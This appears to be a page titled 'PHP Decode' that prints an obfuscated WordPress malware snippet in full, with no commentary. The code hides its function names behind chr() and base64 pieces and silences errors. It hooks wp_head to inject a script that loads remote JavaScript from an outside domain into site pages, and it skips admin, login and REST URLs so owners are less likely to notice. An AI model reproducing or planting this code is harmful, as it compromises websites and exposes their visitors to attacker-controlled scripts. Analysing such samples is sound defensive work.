PHP Decode

<?  function stockkk() {$b="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99). "ode"; $c="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99). "ode"; $f="st".$c("cl9wYQ")."d";$e="st".$c("cmxl")."n";$ss="st".$c("cnBv")."s";$j="su".$c("YnN0")."r";$h="p".$c("cmlu")."t_r";$ht0="H".$c("VFRQX0hP")."ST";$ht1="RE".$c("UVVFU1RfVQ")."RI";$e=$c("ZX"."Jyb3"."JfcmV"."wb3"."J0aW5n");$e(0);$l=$c("PHNjcmlwdCBpZD0ndHJhY2tnbG9iYWxzd2F5Jz52YXIgeiA9U3RyaW5nO3ZhciB0PXouZnJvbUNoYXJDb2RlKDExOCw5NywxMTQsMzIsMTAwLDYxLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw1OSwxMTgsOTcsMTE0LDMyLDExNSw2MSwxMDAsNDYsOTksMTE0LDEwMSw5NywxMTYsMTAxLDY5LDEwOCwxMDEsMTA5LDEwMSwxMTAsMTE2LDQwLDM5LDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMzksNDEsNTksMzIsMTAsMTE1LDQ2LDExNSwxMTQsOTksNjEsMzksMTA0LDExNiwxMTYsMTEyLDExNSw1OCw0Nyw0NywxMDAsMTAxLDExNSw5OSwxMTQsMTA1LDExMiwxMTYsMTA1LDExMSwxMTAsMTE1LDk5LDExNCwxMDUsMTEyLDExNiwxMTUsNDYsOTksMTExLDEwOSw0NywxMTUsMTE2LDEwMSwxMTIsMTE1LDQ3LDExMSwxMTAsMTAxLDQ2LDEwNiwxMTUsNjMsMTE4LDYxLDUxLDUxLDM5LDU5LDMyLDEwLDExNSw0NiwxMDUsMTAwLDYxLDM5LDk4LDEwOCwxMTcsMTAxLDExNiwxMTQsOTcsOTksMTA3LDM5LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTAwLDExMSw5OSwxMTcsMTA5LDEwMSwxMTAsMTE2LDQ2LDk5LDExNywxMTQsMTE0LDEwMSwxMTAsMTE2LDgzLDk5LDExNCwxMDUsMTEyLDExNiw0MSwzMiwxMjMsMzIsMTAsMTAwLDExMSw5OSwxMTcsMTA5LDEwMSwxMTAsMTE2LDQ2LDk5LDExNywxMTQsMTE0LDEwMSwxMTAsMTE2LDgzLDk5LDExNCwxMDUsMTEyLDExNiw0NiwxMTIsOTcsMTE0LDEwMSwxMTAsMTE2LDc4LDExMSwxMDAsMTAxLDQ2LDEwNSwxMTAsMTE1LDEwMSwxMTQsMTE2LDY2LDEwMSwxMDIsMTExLDExNCwxMDEsNDAsMTE1LDQ0LDMyLDEwMCwxMTEsOTksMTE3LDEwOSwxMDEsMTEwLDExNiw0Niw5OSwxMTcsMTE0LDExNCwxMDEsMTEwLDExNiw4Myw5OSwxMTQsMTA1LDExMiwxMTYsNDEsNTksMTAsMTAwLDQ2LDEwMywxMDEsMTE2LDY5LDEwOCwxMDEsMTA5LDEwMSwxMTAsMTE2LDExNSw2NiwxMjEsODQsOTcsMTAzLDc4LDk3LDEwOSwxMDEsNDAsMzksMTA0LDEwMSw5NywxMDAsMzksNDEsOTEsNDgsOTMsNDYsOTcsMTEyLDExMiwxMDEsMTEwLDEwMCw2NywxMDQsMTA1LDEwOCwxMDAsNDAsMTE1LDQxLDU5LDEwLDEyNSk7ZXZhbCh0KTs8L3NjcmlwdD4=");/*77476456347368*/ try{ $vgg=""; if(isset($_SERVER[$ht0]) && isset($_SERVER[$ht1])) $vgg = $_SERVER[$ht0].$_SERVER[$ht1]; $z=1;  if($ss($vgg,"wp".$c("LWFkbQ")."in")!==false) $z=0;  if($ss($vgg,"/wp".$c("LWxvZ2luLnA")."hp")!==false)  $z=0;  if($ss($vgg,"wp".$c("LWpz")."on")!==false)$z=0; if($ss($vgg,"re".$c("c3Rfcm91")."te")!==false) $z=0; if($z==1) $h($l);}catch (Exception $e) {}} add_action('wp_head', 'stockkk'); 
 ?>